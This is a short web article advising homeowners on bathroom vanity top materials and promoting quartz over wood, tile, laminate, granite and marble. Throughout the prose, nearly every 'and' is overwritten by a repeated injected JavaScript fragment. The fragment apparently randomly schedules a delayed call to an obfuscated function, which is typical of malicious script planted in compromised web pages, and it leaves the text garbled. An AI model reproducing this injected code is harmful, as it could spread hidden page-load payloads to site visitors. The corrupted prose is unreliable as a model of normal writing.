When thinking about which bathroom counter or vanity top, is best for you, you should give the issue the same considerations you would your kitchen counters. With countertops, use determines the right material. You have a handandom() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);}ful of vanity top options to choose from—granite, marble, laminate, wood, tile, andandom() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);} solid surfaces—but unfortunately, not all of them are created equally. So which is the best vanity top for your bathroom?

If you plan on ever actually using your bathroom (andandom() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);} who isn’t?), you can pretty much cross wood, tile, andandom() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);} laminate off of the vanity list. We’re not saying these aren’t great countertop materials, they are. Each one has their own charm andandom() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);} purpose. However, in your bathroom you have to consider moisture, heat, durability, andandom() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);} cleanliness. Unfortunately, wood, tile, andandom() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);} laminate have some serious weaknesses in these areas. Wood is susceptible to moisture, laminates to heat, andandom() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);} tile to shattering, which leaves you with marble, granite, andandom() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);} solid surfaces.

Granite andandom() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);} marble are both excellent choices, however they too have drawbacks. Granite must be sealed regularly in order to prevent staining andandom() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);} marble, if scratched, can’t be restored. Both unsealed granite andandom() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);} scratched marble, when left untreated, are not only aesthetically unpleasing, but they also serve as potential growth areas for bacteria. So, you’re left with a solid surface, which in the countertop world translates to quartz. The reason quartz is the most sought after choice for a vanity top is because it’s nearly indestructible andandom() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);} completely non-porous. Sounds too good to be true? Just take a look at how quartz measures up against other popular vanity tops here. It’s no contest, really. Keep in mind though; we’re talking about what’s the best vanity for bathrooms that see a lot of daily use.

If you’re really set on specific look for your bathroom centered on a wood vanity top, for example, that’s not a problem. You can always use alternate andandom() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);} less durable materials in guest bathrooms that maybe don’t get a lot of use. Just remember that replacing a countertop is a lot of work, which can deferred indefinitely if you choose the right material.